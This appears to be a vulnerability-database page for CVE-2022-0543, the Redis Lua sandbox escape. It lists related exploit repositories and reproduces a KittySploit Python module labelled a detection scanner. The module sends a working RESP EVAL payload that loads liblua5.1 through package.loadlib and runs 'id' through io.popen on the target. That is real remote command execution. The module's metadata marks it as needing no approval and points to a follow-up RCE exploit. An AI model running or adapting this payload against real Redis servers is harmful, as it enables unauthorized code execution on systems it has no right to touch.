Redis - Lua Sandbox Escape Detection (CVE-2022-0543)
| Reporter | Title | Published | Views | Family All 98 |
|---|---|---|---|---|
| Exploit for Missing Authorization in Redis | 6 Jul 202204:35 | – | githubexploit | |
| Redis-RCE-x-HTB | 6 Aug 202606:38 | – | githubexploit | |
| METIS | 30 Sep 202613:24 | – | githubexploit | |
| cve-poc-collection | 7 Jul 202617:00 | – | githubexploit | |
| Exploit for Missing Authorization in Redis | 16 Mar 202206:41 | – | githubexploit | |
| Exploit for Missing Authorization in Redis | 8 Oct 202621:45 | – | githubexploit | |
| Exploit for Missing Authorization in Redis | 16 Mar 202206:41 | – | githubexploit | |
| Exploit for Missing Authorization in Redis | 1 Sep 202216:44 | – | githubexploit | |
| exploit-library | 14 Jul 202602:05 | – | githubexploit | |
| Redis Lua Sandbox Escape Exploit | 27 Apr 202200:00 | – | zdt |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Redis Lua sandbox escape RCE on Debian/Ubuntu packages (CVE-2022-0543)."""
import socket
from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
_LUA_LIBS = (
'/usr/lib/x86_64-linux-gnu/liblua5.1.so.0',
'/usr/lib/aarch64-linux-gnu/liblua5.1.so.0',
'/usr/lib/arm-linux-gnueabihf/liblua5.1.so.0',
'/usr/lib/i386-linux-gnu/liblua5.1.so.0',
)
class Module(Scanner, Tcp_scanner_client):
__info__ = {
'name': 'Redis - Lua Sandbox Escape Detection (CVE-2022-0543)',
'description': (
'Detects CVE-2022-0543 on Debian/Ubuntu-packaged Redis by EVAL-loading '
'liblua5.1 via package.loadlib and executing id/cat via io.popen.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'scanner', 'tcp', 'redis', 'cve', 'cve2022', 'rce', 'lua', 'kev', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 4,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals'],
'cost': 1.0,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/linux/redis/redis_cve_2022_0543_rce'],
},
},
'references': [
'https://www.debian.org/security/2022/dsa-5101',
'https://nvd.nist.gov/vuln/detail/CVE-2022-0543',
],
'cve': 'CVE-2022-0543',
}
port = OptPort(6379, 'Redis port', True)
def run(self):
host = self._host()
port = self._port()
if not host or not self.is_tcp_open(host=host, port=port):
return False
sock = None
try:
sock = socket.create_connection((host, port), timeout=max(self._timeout(), 5.0))
sock.settimeout(max(self._timeout(), 5.0))
for lib in _LUA_LIBS:
script = (
f'local io_l = package.loadlib("{lib}", "luaopen_io"); '
'local io = io_l(); local f = io.popen("id", "r"); '
'local res = f:read("*a"); f:close(); return res'
)
# RESP: EVAL <script> 0
payload = (
f'*3\r\n$4\r\nEVAL\r\n${len(script)}\r\n{script}\r\n$1\r\n0\r\n'
)
sock.sendall(payload.encode())
data = sock.recv(4096).decode('latin-1', errors='replace')
if 'uid=' in data:
self.set_info(
severity='critical',
reason='Redis CVE-2022-0543 Lua sandbox escape confirmed',
lib=lib,
)
return True
except OSError:
return False
finally:
if sock is not None:
try:
sock.close()
except Exception:
pass
return False
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10 Aug 2026 06:19Current
8.6High risk
Vulners AI Score8.6
CVSS 3.110
CVSS 210
EPSS0.99351
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